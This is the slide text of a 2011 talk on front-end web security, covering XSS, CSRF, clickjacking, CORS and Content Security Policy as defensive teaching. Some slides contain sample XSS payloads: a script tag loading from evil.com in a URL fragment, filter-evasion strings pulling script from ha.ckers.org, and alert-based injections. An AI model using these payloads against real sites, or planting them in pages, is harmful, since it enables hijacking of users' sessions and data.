My presentation from Framsia.
Topics:
XSS (reflected, stored, dom-based)
CSRF
Clickjacking
Header based approaches (CSP, X-frame-options)
EcmaScript5
HTML5
Some slides borrowed from John Wilander http://www.slideshare.net/johnwilander/application-security-for-rias
Videogame localization & technology_ how to enhance the power of translation.pdf
Web Application Security in front end
1. Web security in the frontend
Framsia
H2011 – Erlend Oftedal
Side 1
4. Who am I?
Developer
Head of the security competency group at BEKK
Chapter lead of the OWASP Norway chapter
Member of the Norwegian Honeynet project
erlend.oftedal@bekk.no
@webtonull
http://erlend.oftedal.no/blog
12. Client side validation of data sent to server
Improves usability
Has nothing to do with security
Side 12
13. Cross Site Scripting - XSS
One of the most common problems
OWASP Top 10 2004, 2007, 2010
Side 13
http://info.veracode.com/rs/veracode/images/soss-v3.pdf
22. DOM-based
Side 22
http://www.server.com/#banner=2011
Would you click:
http://server.com/#banner=2011<script src="http://evil.com/"></script>
http://server.com/#banner=2011%3Cscript%20src%3D%22http%3A//evil.com/%22%3E%3C/script%
3E
http://bit.ly/vH6d6w
Not sent to server
26. First attempt to patch
var c = location.href.split("#!")[1];
if(c) {
window.location = c.replace(":", "");
} else {
return true;
}
Side 26
Replaces first occurence of
the search string.
36. The same origin policy
<script>
<iframe src="http://mail.google.com">
</iframe>
37. Is input validation enough?
How do you validate an email address?
[a-z]+@[a-z]+.[a-z]{2,3}
[a-z'-A-ZæøåÆØÅ.]+@[a-z0-9-.]+.[a-z]{2,3}
Side 37
38. From Wikipedia
The local-part of the email address may use any of these ASCII characters
RFC 5322 Section 3.2.3:
– Uppercase and lowercase English letters (a–z, A–Z) (ASCII: 65-90, 97-122)
– Digits 0 to 9 (ASCII: 48-57)
– Characters !#$%&'*+-/=?^_`{|}~ (ASCII: 33, 35-39, 42, 43, 45, 47, 61, 63, 94-96, 123-126)
– Character . (dot, period, full stop) provided that it is not the first or last
character, and provided also that it does not appear two or more times
consecutively (e.g. John..Doe@example.com).
– Special characters are allowed with restrictions including:
– Space and "(),:;<>@[] (ASCII: 32, 34, 40, 41, 44, 58, 59, 60, 62, 64, 91-93)
39. From Wikipedia
Valid email addresses
– niceandsimple@example.com
– a.little.unusual@example.com
– much."more unusual"@example.com
– very.unusual."@".unusual.com@example.com
– very."(),:;<>[]".VERY."very @"very".unusual@cool.example.com
40. Input validation is not enough!
How would you avoid XSS on Stack Overflow?
Do you really expect the user to write htmlentities like > and <?
– User friendly?
Side 40
41. Contextual encoding
OWASP XSS Prevention cheat sheet
– Between HTML tags – html encoding &#nn;
– In HTML attributes – html attribute encoding &#nn;
– In javascript strings – javascript encoding xnn
– In CSS – CSS encoding nnnnnn
– In URLs - URL encoding %nn
Side 41
42. Contextual encoding is important!
Side 42
<html>
<body>
<script>
var a = "</script><script>alert(1)</script>";
</script>
</body>
</html>
43. Simple HTML encoding is not enough
Side 43
<img class="profile" src="http://..."
onmouseover="showUserProfile('bob'); alert('1')">
44. Allowing some HTML tags?
Use a well-tested whitelist based policy engine
– Specify allowed tags and allowed attributes
– Canonicalization
Suggestions
– OWASP AntiSamy
– HtmlPurifier
Side 44
45. Why you do NOT write your own HTML-cleaner/sanitizer
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|]^`=alert("XSS")>
<META HTTP-EQUIV="Set-Cookie"
Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
¼script¾alert(¢XSS¢)¼/script¾
<charset="x-mac-farsi">☼script ☾alert(1)//☼/script ☾
http://ha.ckers.org/xss.html
47. Avoiding DOM based XSS
Beware of potential attacker controlled data
– window.name
– window.referer
– window.location.hash
– ++
Side 47
48. Coding principles
JSON from XHR should be JSON encoded – no HTML encoding
Beware of the semantics – jQuery:
Use $("...").text(value) instead of $("...").html(value)
Use .attr() to add attributes
Use .css() to modify CSS
URLencode before putting data in URLs (encodeURI() and friends)
Never ever put user data inside:
– eval(string) – are you sure that's JSON and not just JS?
– setInterval(string, t)
– setTimeout(string, t)
– new Function(string)
Side 48
49. Coding principles
If you are using a templating engine like Mustache, check:
– When is data escaped?
– How is it escaped?
– For what?
– Test it!
Side 49
53. CSRF - Overview
Side 53
1. Login
2. Load content
4. Pay bill to attacker’s account
Infected server
3. Page with hidden script
Bank
54. Stopping CSRF
Side 54
Explicit verification before performing an action
– CAPTCHA
– Re-authentication
One-time password before paying bills
55. CSRF – Token
Side 55
1. GET /pay
Infected server
Bank
2. 200 OK - <form...><input name="token" value="x123LKJ23"
3. POST /pay – token=x123LKJ23
4. 200 OK
For session x
Token=x123LKJ23
x123LKJ23
==
x123LKJ23
56. CSRF – Bad token
Side 56
0. Login
1. Load content
Infected server
2. Page with hidden script and form
<form...><input name="token" value="XYZZ..." >
Bank
3. POST /pay – token=XYZZ...
4. 400 Bad request
For session x
Token=9992812jabc
9992812jabc
!=
XYZZ...
59. Proxy
Side 59
Client asks server
Server asks target
Target returns data to server
Server returns data to client
Allows server to inspect/reject data
Does not circumvent the Same Origin
Policy
Cannot directly reuse current
authentication
60. JSONP
Side 60
Page from server A adds a script-tag to target server B
Server B (hopefully) returns JSON data wrapped in a callback function:
callback({"id":0, ...})
Page from server A defines a function with the same name as the
callback function, and receives the data
Can leverage current authentication
Any webpage can include the same script tag and the same callback and
thus potentially steal the data
Server B can misbehave and send other types of javascript (XSS)
No easy way to protect POST requests from CSRF
=> Insecurely circumventing the Same Origin Policy
61. CORS – Cross Origin Resource Sharing
Side 61
Standards-defined secure way to do cross domain requests from the
browser
Types:
– postMessage
– Cross Domain XHR
62. CORS - postMessage
Side 62
Webpage from server A includes a (hidden) iframe to target server B
JavaScript on page from A, invokes postMessage on iframe
iframe.contentWindow
.postMessage("some data", "http://serverB")
Page in iframe from server B defines an event handler:
$(window).bind("message", function(e) {
var event = e.originalEvent;
if (event.origin == "http://serverA") {
//process event.data
}
});
63. CORS - postMessage
Side 63
Remember to check origin of an event
Don't be tempted to specify "*" as the second parameter to postMessage
64. Cross Domain XHR
Side 64
$.getJSON("http://serverB/someService",
function(data) {
//handle data
});
Server B returns the data with a specific response header:
Access-Control-Allow-Origin: http://serverA
Once again do not use * as server name unless you want the data to be
available to server
66. Important regardless of choice
Side 66
Agree on type of encodig – prefer JSON with no other encoding
Remember – if you allow HTML, you open for XSS
71. Advanced clickjacking
Side 71
Exploiting drag-n-drop to steal content
User drags a ball into a basket
– In reality selects text and drops it in a textarea
72. Anti-clickjacking
Side 72
Javascript framebusting
Response header
X-Frame-Options: sameorigin
X-Frame-Options: deny
Javascript framebusting can be circumvented
X-Frame-Options is only supported in newer browsers
– IE8 was the first one
– IE also supports X-Frame-Options: allow-from <domains>
77. SVG favicon
SVG favicon overlaying the chrome of Opera
Side 77
Picture by Mario Heiderich @0x6D6172696F
78. Content Security Policy
Mozilla CSP - Content Security Policy
• Now a W3C standard
• header based - server instructs browser
• policies for javascript, frames, images, style etc.
X-Content-Security-Policy: allow *; script-src 'self‘
X-Content-Security-Policy: allow *; script-src 'self' *.google.com https://*.nordea.no:443
X-Content-Security-Policy: allow *; script-src 'self'; options inline-script eval-script
https://wiki.mozilla.org/Security/CSP/Spec
79. Content Security Policy
First version came in Firefox 4
– FF7 and FF8beta ~80% compliant with current W3C spec
Implemented in Chrome
– Completely broken in Chrome 15 – ~95% compliant in beta (16)
By default disables javascript functions that build code from strings
eval(s), setTimeout(s,t), setInterval(s,t), new Function(s)
Can (in the future) be used for clickjacking-defence:
frame-ancestors uri
Side 79